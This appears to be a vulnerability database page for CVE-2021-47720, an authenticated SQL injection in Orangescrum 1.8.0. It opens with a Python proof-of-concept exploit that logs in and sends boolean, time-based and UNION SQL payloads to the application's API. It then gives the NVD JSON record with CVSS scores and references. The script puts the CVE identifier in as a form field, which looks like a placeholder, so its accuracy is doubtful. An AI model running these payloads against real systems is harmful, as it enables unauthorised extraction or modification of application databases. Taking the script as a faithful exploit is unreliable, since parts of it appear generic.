CVE-2021-47720

import requests import sys # CVE-2021-47720 SQL Injection PoC for Orangescrum 1.8.0 # Authenticated SQL injection via multiple parameters target_url = "http://target-server/orangescrum/" login_url = target_url + "index.php?er=320" api_url = target_url + "api/" # Authentication credentials (low-privilege user) credentials = { "email": "[email protected]", "password": "password123" } # SQL Injection payload examples # Boolean-based blind injection injection_payloads = { "project_id": "1' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END)-- ", "old_project_id": "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- ", "uuid": "' OR '1'='1", "uniqid": "' UNION SELECT NULL,version(),user(),database()-- " } def login(): """Authenticate and obtain session cookie""" session = requests.Session() response = session.post(login_url, data=credentials) if "error" not in response.url: return session return None def exploit_sqli(session, param_name, payload): """Execute SQL injection attack""" data = { "CVE-2021-47720": "1", param_name: payload } headers = { "Content-Type": "application/x-www-form-urlencoded" } response = session.post(api_url, data=data, headers=headers, timeout=30) return response.text if __name__ == "__main__": print("[*] Starting CVE-2021-47720 Exploitation") session = login() if session: print("[+] Authentication successful") for param, payload in injection_payloads.items(): print(f"[*] Testing parameter: {param}") result = exploit_sqli(session, param, payload) print(f"[*] Response length: {len(result)}") else: print("[-] Authentication failed")

{"cve": {"id": "CVE-2021-47720", "sourceIdentifier": "[email protected]", "published": "2025-12-23T20:15:44.347", "lastModified": "2025-12-31T17:15:29.683", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Orangescrum 1.8.0 contains an authenticated SQL injection vulnerability that allows authorized users to manipulate database queries through multiple vulnerable parameters. Attackers can inject malicious SQL code into parameters like old_project_id, project_id, uuid, and uniqid to potentially extract or modify database information."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:orangescrum:orangescrum:1.8.0:*:*:*:*:*:*:*", "matchCriteriaId": "0BFFFA2F-2A4C-43C5-8C33-4E74A44AD16E"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/50553", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.orangescrum.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/orangescrum-authenticated-sql-injection-via-multiple-parameters", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}